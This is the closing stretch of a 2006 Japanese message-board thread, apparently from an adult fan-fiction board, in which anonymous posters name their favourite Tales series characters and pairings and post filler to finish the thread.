976 名前:名無しさん@ピンキー :2006/10/20(金) 22:05:24 ID:Dln+j7ny
漏様はクロエ、デレだよデレ!DERE!

977 名前:名無しさん@ピンキー :2006/10/20(金) 22:17:18 ID:yJr1Wyih
では私も…。
クラトス萌えです。
親馬鹿でストーカーでヘタレっぽいところがツボです。
クラトスは天使だから体力無尽蔵だろうからきっと絶倫ですね。
エロ萌え〜。

978 名前:名無しさん@ピンキー :2006/10/21(土) 01:56:06 ID:TmYZ5GT5
俺はファラの皆口声に萌え〜

979 名前:名無しさん@ピンキー :2006/10/21(土) 08:15:12 ID:VYHhi6EL
メルディいいよなメルディ
ルリルリ声がたまらん

980 名前:名無しさん@ピンキー :2006/10/21(土) 14:34:23 ID:48mx9LOM
イオアニ萌え

981 名前:名無しさん@ピンキー :2006/10/21(土) 15:12:23 ID:g/1LEUVe
ガイ様萌え

982 名前:名無しさん@ピンキー :2006/10/21(土) 16:04:10 ID:qOB2sbKS
ぼくはユージーンちゃん

983 名前:名無しさん@ピンキー :2006/10/21(土) 16:49:22 ID:ql4SNOHN
マイナーカプ萌え、でも作品を越えカプは好きじゃない

984 名前:名無しさん@ピンキー :2006/10/21(土) 23:23:07 ID:A4X+Ufc0
拙者、コレット萌えでござる

985 名前:名無しさん@ピンキー :2006/10/22(日) 00:23:17 ID:1T2/t1HU
サレアニ萌え、サレミリも良いかもしれない
上二つはマイナーなのかメジャーなのか分からない

986 名前:名無しさん@ピンキー :2006/10/22(日) 00:31:35 ID:avwiJwOO
サレアニってたまに見るけど意味がわからない。
アニーがにわか王の盾だったのが関係してるのか?

987 名前:名無しさん@ピンキー :2006/10/22(日) 14:16:55 ID:HcW/CUwh
>>986
ぶっちゃけて言えば、「腐」のフォルス能力者の力が成せる技。
作中でサレに関わった女性キャラは、クレア、セレーナ、アガーテ、ジルバくらいしかいない。

988 名前:名無しさん@ピンキー :2006/10/22(日) 16:22:39 ID:z0VkV0fM
4コマじゃサレ・ヒルダ・ミリッツァが幼馴染みたいなネタがあるけど公式じゃないしな〜自分的にはOKなんだが

989 名前:名無しさん@ピンキー :2006/10/22(日) 16:35:06 ID:BqttJflp
架空妄想が無くてはこのスレは始まらないんだ

990 名前:名無しさん@ピンキー :2006/10/22(日) 16:38:34 ID:jpBC6NA/
スレにネタを供給する萌え語りとはSSの種子をさしている

991 名前:名無しさん@ピンキー :2006/10/22(日) 16:51:30 ID:ctduJK5B
妄想万歳!
カプ捏造上等!
萌えカプは十人十色!
エロパロ最高!




埋め〜。

992 名前:名無しさん@ピンキー :2006/10/22(日) 22:13:47 ID:HcW/CUwh
今日中に埋まったら次スレに職人が投下するというので埋め

993 名前:名無しさん@ピンキー :2006/10/22(日) 22:50:16 ID:klG9Kg58
キルメル萌エー

994 名前:名無しさん@ピンキー :2006/10/22(日) 22:57:02 ID:G3hHafdr
も〜。しょうがないなぁ、お手伝いするよ。

チェルシー萌えー

995 名前:名無しさん@ピンキー :2006/10/22(日) 23:00:19 ID:HcW/CUwh
埋め梅産め

996 名前:名無しさん@ピンキー :2006/10/22(日) 23:18:32 ID:1T2/t1HU
ヒルダ萌え 時代は姐さん

997 名前:名無しさん@ピンキー :2006/10/22(日) 23:27:00 ID:HcW/CUwh
産め

萌え対象が多すぎて私は決めかねる

998 名前:名無しさん@ピンキー :2006/10/22(日) 23:28:16 ID:HcaFbxaT
マイナーカプ萌え〜w
ガイノエ萌え〜w
チャバクロ萌え〜w









マイナーじゃないけど萌え〜w
チェスアー萌え〜w
モーノー萌え〜w
グリュジェイ萌え〜w

999 名前:名無しさん@ピンキー :2006/10/22(日) 23:34:34 ID:HcaFbxaT
999萌え〜w

1000 名前:名無しさん@ピンキー :2006/10/22(日) 23:34:53 ID:hyuA1VOr
999ならファラは俺のもの

1001 名前:1001 :Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。


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